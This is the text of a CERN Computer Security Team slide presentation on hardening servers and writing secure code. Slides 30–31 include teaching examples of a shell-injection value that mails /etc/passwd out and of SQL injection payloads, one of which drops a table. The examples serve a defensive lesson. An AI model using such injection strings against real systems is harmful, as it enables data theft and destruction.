Securing your servers and code (and how we can help you)

1. Securing your servers and code(and how we can help you) Sebastian LopienskiCERN Computer Security Team

2. Outline • How to secure your servers • How to secure your code • How the Computer Security Team can help you

3. Things to avoid Security measures that can be easily bypassed

4. Part 1: How to secure your servers

5. Checklist • Harden the OS and Applications • Keep the OS and Applications up-to-date • Use a local firewall • Take advantage of the logs • Ensure that all passwords are secure • Take extra precautions for privileged accesses • Use security products when relevant • Take into account physical security • Keep your security knowledge up-to-date.

6. 1. Harden the OS & applications • minimise the number of • packages installed • accounts enabled • network services offered • privileged processes running(this includes running with least privileges whenever possible) • tighten the configuration of the major services(this includes limiting access to the minimum) Why? • to limit exposure • to limit number of components that you have to secure

7. 2. Keep the OS & apps updated • install all the security patches as soon as possible • ideally, use a system that automates patching this applies to the OS and to all the software installed on the server, and especially to network services Why? • to close known vulnerabilities in OS and software • and to make sure that patching is not forgotten in the future

8. 3. Use a local firewall • install a local firewall configured to only allow what is expected (i.e. default policy is deny) • ideally, also filter outgoing network traffic Why? • to limit exposure (by restricting incoming traffic) • to prevent criminals using backdoors and remote access(by restricting incoming and outgoing traffic)

9. 4. Take advantage of the logs • select appropriate logging levels for all sensitive components • frequently review the logs to detect suspicious activity • ideally, store the logs remotely to avoid tampering • e.g. to Central Security Logging servicehttp://cern.ch/security/services/en/csl.shtml Why? • to detect attacks and incidents • to be able to investigate them (find reasons, and learn from them)

10. Things to avoid Security measures that get disabled with time, when new features are installed

11. 5. Ensure password security • make sure that • the passwords used are good enough (ideally, enforce this with the appropriate tools) • the passwords are not exposed(this includes using encrypted protocols such as https, or services like SINDES) • the passwords are changed regularly this applies also to other authentication methods, e.g. SSH keys Why? • because weak and badly protected passwords are very common attack vectors

12. 6. Precautions for privileged access • restrict privileged accesses to the bare minimum • use delegation to minimise the number of operations requiring full privileges (for instance use sudo on Unix/Linux) • log all actions executed with system privileges Why? • because privileged access is what criminals are after

13. 7. Use relevant security products • anti-virus(ideally, with automatic signature update) • Intrusion Detection Systems(both host-based and network-based) • integrity checkers to detect system modifications e.g. rpm –V, Tripwire, rkhunter, chkrootkit; see also http://cern.ch/security/faq/en/rootkits.shtml Why? • because they help prevent and detect intrusions

14. Things to avoid Security solutions that do not cover the whole exposure area

15. 8. Physical access • take into account physical security (when relevant) Why? • because malicious person with physical accesscan bypass most protections (e.g. directly log in as root)

16. 9. Security knowledge • keep your security knowledge up-to-date visit http://cern.ch/security/reports to read/watch: • monthly security reports for CERN • security reports from SWITCH CERT • various presentations etc. follow security training, or just contact Computer.Security@cern.ch Why? • to learn about threats, attack vectors etc.,and protect yourself - before they affect you

17. Be lazy, and delegate! If you manage a server for your experiment,consider making it a VOBOX • many of the points discussed above will be done for you ! • contact your VO Coordinator for details

18. Part 2: How to secure your code

19. Software is vulnerable From secunia.com Vulnerabilities reported yesterday

20. When to start? Security should be foreseen as part of the system from the very beginning, not added as a layer at the end • the latter solution produces insecure code (tricky patches instead of neat solutions) • it may limit functionality • and will cost much more You can’t add security in version 2.0

21. Software life-cycle requirements Security must be part of all these phases! design implementation testing deployment maintenance

22. Architecture • Modularity: divide program into semi-independent parts • small, well-defined interfaces to each module/function • Isolation: • each part should work correctly even if others fail (return wrong results, send requests with invalid arguments) • Defense in depth: build multiple layers of defense • Simplicity (complex => insecure)

23. Multiple layers of defense XIII century XXI century

24. System calls in Apache Complexity

25. System calls in IIS Complexity

26. Design – (some) golden rules Make security-sensitive parts of your code small Least privilege principle • program should run on the least privileged account possible • same for accessing databases, files etc. • revoke a privilege when it is not needed anymore Choose safe defaults; deny by default Fail gracefully and securely Question again your assumptions, decisions etc.

27. Things to avoid Procedures or docs that are impossible to follow;code impossible to maintain

28. Implementation • What does this code do? • Would you like to work on it? • Is it secure? Write good quality, maintainable, self-documenting code! @P=split//,".URRUU\c8R";@d=split//,"\nrekcahxinU / lrePrehtonatsuJ";sub p{@p{"r$p","u$p"}=(P,P);pipe"r$p","u$p";++$p;($q*=2)+=$f=!fork;map{$P=$P[$f|ord($p{$_})&6];$p{$_}=/^$P/ix?$P:close$_}keys%p}p;p;p;p;p;map{$p{$_}=~/^[P.]/&& close$_}%p;wait until$?; map{ /^r/&&<$_>}%p;$_=$d[$q];sleep rand(2) if/\S/;print

29. Enemy number one: Input data • Don’t trust input data – input data is the single most common reason of security-related incidents

30. Enemy #1: Input data (cont.) Example: your script sends e-mails with the following shell command: cat confirmation | mail $email and someone provides the following e-mail address: me@fake.com; cat /etc/passwd | mail me@real.com cat confirmation | mail me@fake.com; cat /etc/passwd | mail me@real.com

31. Enemy #1: Input data (cont.) Example (SQL Injection): your webscript authenticates users against a database: select count(*) from users where name = ’$name’ and pwd = ’$password’; but an attacker provides one of these passwords: anything’ or ’x’ = ’x XXXXX’; drop table users; -- select count(*) from users where name = ’$name’ and pwd = ’anything’ or ’x’ = ’x’; select count(*) from users where name = ’$name’ and pwd = ’XXXXX’; drop table users; --’;

32. Input validation Input validation is crucial Consider all input dangerousuntil proven valid Default-deny rule • allow only “good” characters and formulas and reject others (instead of looking for “bad” ones) • use regular expressions Validation at different levels: • at input data entry point • right before taking security decisions based on that data

33. Coding – advice (cont.) Separate data from code: • Careful with shelland evalfunction • sample line from a Perl script: system(”rpm –qpi $filename”);but what if $filename contains illegal characters: | ; ` \ • popen() also invokes the shell indirectly • same for open(FILE, ”grep –r $needle |”); • similar: eval() function (evaluates a string as code) • Use parameterized SQL queries to avoid SQL injection: $query = ”select count(*) from users where name = $1 and pwd = $2”; pg_query_params($connection, $query, array($login, $password));

34. Coding – advice (cont.) Temporary file – or is it? • symbolic link attack: someone guesses the name of your temporary file, and creates a link from it to another file (i.e. /bin/bash) • good temporary file has a name that is hard to guess • use tmpfile() (C/C++), mktemp shell command or similar /root/myscript.sh writes data symbolic link /tmp/mytmpfile /bin/bash

35. Source code static analysis tools Tools that analyse source code, and look for potential: • security holes • functionality bugs (including those not security related) Recommendations for C/C++, Java, Python, Perl, PHPavailable at http://cern.ch/security/recommendations/en/code_tools.shtml • RPMs provided, some available on LXPLUS • trivial to use There is no magic: • even the best tool will miss most non-trivial errors • they will just report the findings, but won’t fix the bugs Still, using code analysis tools is highly recommended! These tools will help you develop better code

36. Code tools: FindBugs / Java

37. Code tools: pychecker / Python

38. Code tools: Pixy / PHP

39. Things to avoid Security toolsthat are disabled, or impossible to use

40. Part 3: How the Computer Security Team can help you

41. Things to avoid Incomplete protection measures that become “temporary” forever

42. How we(*) can help you (*) we = CERN Computer Security Team Web and machine scanning • vulnerability assessment – black box testing • automatic scans, but also on demand (Computer.Security@cern.ch) source code tools Central Logging Service training courses security audits and risk assessment (plus of course intrusion detection, incident investigation and response etc.)

43. Training Security courses available at CTA (http://cta.cern.ch) free free

44. Audits, risks assessments etc. The Computer Security Team can assist you with: • Threat modelling and risk assessment • to ensure that risks are correctly managed, and no major threat is neglected • Designing system security architecture • when starting a new system or software project • Security code reviews • before deploying developed code • Security audits of existing systems • when maintaining existing systems or software Don’t hesitate to contact Computer.Security@cern.ch

45. The new Web site Check out our new Web site http://cern.ch/security

46. Thank you Any questions? http://www.flickr.com/photos/calavera/65098350